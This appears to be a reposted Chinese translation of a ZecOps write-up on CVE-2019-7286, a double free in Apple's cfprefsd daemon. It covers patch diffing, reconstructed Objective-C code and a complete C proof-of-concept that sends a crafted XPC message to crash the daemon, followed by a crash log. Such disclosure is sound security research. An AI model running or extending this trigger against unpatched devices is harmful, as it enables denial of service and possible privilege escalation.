• iOS/OSX漏洞分析和再现:CVE20197286


    iOS 12.1.4是2019年2月8日发布的iOS的最新版本。该版本修补了iOS上发现的四个漏洞。根据Project Zero的Ben Hawkes推文,其中至少有两个0day还是处于在野状态……

    • CVE-2019-7286在野外被开发利用
    • 该漏洞似乎具有严重的严重性,并且可能在重新启动后也可能用于维持持久性
    • ZecOps能够重现此漏洞(下面的POC代码)
    • 该漏洞可用于将权限升级为root,作为iOS 12.1.3上越狱链的一部分。

    分析CVE-2019-7286

    根据Apple的描述

    基础
    适用于:iPhone 5s及更高版本,iPad Air及更高版本以及iPod touch第6代
    影响:应用程序可能获得提升的权限
    说明:通过改进的输入验证解决了内存损坏问题。
    CVE-2019-7286:匿名研究员,Google威胁分析组的Clement Lecigne,Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß

    除了在Apple的Foundation框架中修补漏洞这一事实外,该描述并未向我们提供有关漏洞性质的大量详细信息。

    在分析Foundation框架中的补丁后,二进制差异显示iOS 12.1.4的二进制文件与iOS 12.1.3相比没有显着变化。下一个直接的嫌疑人是CoreFoundation,它显示了Diaphora工具中的一些二进制差异,如下所示:

    通过比较补丁,我们发现CFPrefs守护进程(cfprefsd)的实现有一些细微的变化。

    此守护程序的手册页不太具描述性:

    cfprefsd为CFPreferences和
    NSUserDefaults API 提供首选项服务手动
    没有cfprefsd的配置选项

    几乎所有iOS / OS X上的软件都会在启动时使用CFPreferences选项,因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是,目前还没有关于此CVE的公开信息,正如人们所期望的那样,这个漏洞在野外被积极利用。

    补丁分析

    OS X上也存在同样的错误,这有助于ZecOps的调查和分析。在修补程序时,对cfprefsd引入了一些小的更改,但似乎最重要的修改是在以下函数中进行的: 

    [CFPrefsDaemon handleMultiMessage:replyHandler:]

    下面是一段ZecOps试图重建原始的Obj-C代码以及补丁(粗体):

     1 @implementation CFPrefsDaemon
     2 -(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
     3 {
     4   // ...
     5   CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
     6   // ...
     7   xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
     8   xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
     9   //...
    10   for( counter = 0; xpc_array_count != counter; counter++)
    11   {
    12     xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
    13   }
    14   for( counter = 0; xpc_array_count != loop_counter ; counter++)
    15   {
    16     xpc_element = xpc_buffer[counter];
    17     xpc_buffer[counter] = 0;           //patch fix
    18     if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
    19     {
    20       [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
    21           if (xpc_element) // patch fix
    22         {
    23             xpc_object_t result = xpc_retain(xpc_element); 
    24             xpc_buffer[counter] = result;  
    25           }              
    26         }]; 
    27     }
    28     if ( !xpc_buffer[counter] )                //patch fix
    29       xpc_buffer[counter] = xpc_null_create(); //patch fix
    30   }
    31   //...
    32   array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
    33   xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
    34   xpc_release(array_from_xpc_buffer); 
    35   for( counter = 0; xpc_array_count != counter ; counter++)
    36   {
    37     current_element = xpc_buffer[counter];
    38     if (xpc_get_type(current_element) != &_xpc_type_null )
    39         xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
    40   }
    41   // ...
    42 }

    漏洞详细信息

    handleMultiMessage:replyHandler:使用“ CFPreferencesMessages ”数组引用计数问题,该数组是xpc请求的一部分。

    该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区,这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权这通常是真实的,因为回调块调用xpc_retain并在替换原来的对象xpc_buffer但是,如果由于精心制作的消息而未调用回调(消息正文包含消息的处理程序索引。并非所有处理程序都调用回调),则会发生双重释放。

    具有以下键和值的XPC将触发此漏洞:

    1 poc_dict = {
    2   "CFPreferencesOperation" = 5,
    3   "CFPreferencesMessages" = [
    4     {
    5      "CFPreferencesOperation": 4    
    6     }
    7   ]
    8 }

    如果回调没有更新xpc_buffer [count], Apple的补丁用xpc_null替换了原始的XPC对象因此,当xpc_null没有要释放的内存时,没有双重释放条件

    漏洞复制

    我们能够使用下面的POC代码片段重现CVE-2019-7286:

     1 #include <xpc/xpc.h>;
     2 
     3 int main(int argc, const char * argv[]) {
     4 
     5   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
     6   xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
     7     printf("got message: %sn", xpc_copy_description(t));
     8   });
     9 
    10   xpc_connection_resume(conn);
    11 
    12   xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
    13   xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
    14 
    15   xpc_object_t arr = xpc_array_create(NULL, 0);
    16   xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
    17   xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
    18 
    19   xpc_array_append_value(arr, arr_elem1);
    20   xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
    21   xpc_connection_send_message(conn, hello);
    22   xpc_release(hello);
    23   return 0;
    24 }

    在iOS 12.0.1上运行上述程序导致cfprefsd崩溃:

    Thread 6 name:  Dispatch queue: Serving PID 7210
    Thread 6 Crashed:
    0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
    1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
    2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
    3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
    4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
    5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
    6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
    7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
    8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
    9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
    10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
    11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
    12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
    13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
    14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

    建议

    • 更新到最新的OS X和iOS版本。
    • 偶尔重启iPhone / iPad(例如每天一次)以从脱离非持久性攻击。
  • 相关阅读:
    让脚本在后台运行的方式
    inotify+rsync文件实时同步报错:usr/local/bin/inotifywait: error while loading shared libraries: libinotifytools.so.0:
    简单使用zabbix监控nginx是否存活
    zabbix4.0添加磁盘io监控
    文本处理三剑客之awk(No.1)
    对比各节点host 与 标准节点host差异脚本
    hdfs standby namenode checkpoint 的一些参数
    hdfs dfsadmin 命令详解
    hive grouping sets 实现原理
    dbcp 连接池参数说明
  • 原文地址:https://www.cnblogs.com/jiuhaotanyuan/p/10547444.html
Copyright © 2020-2023  润新知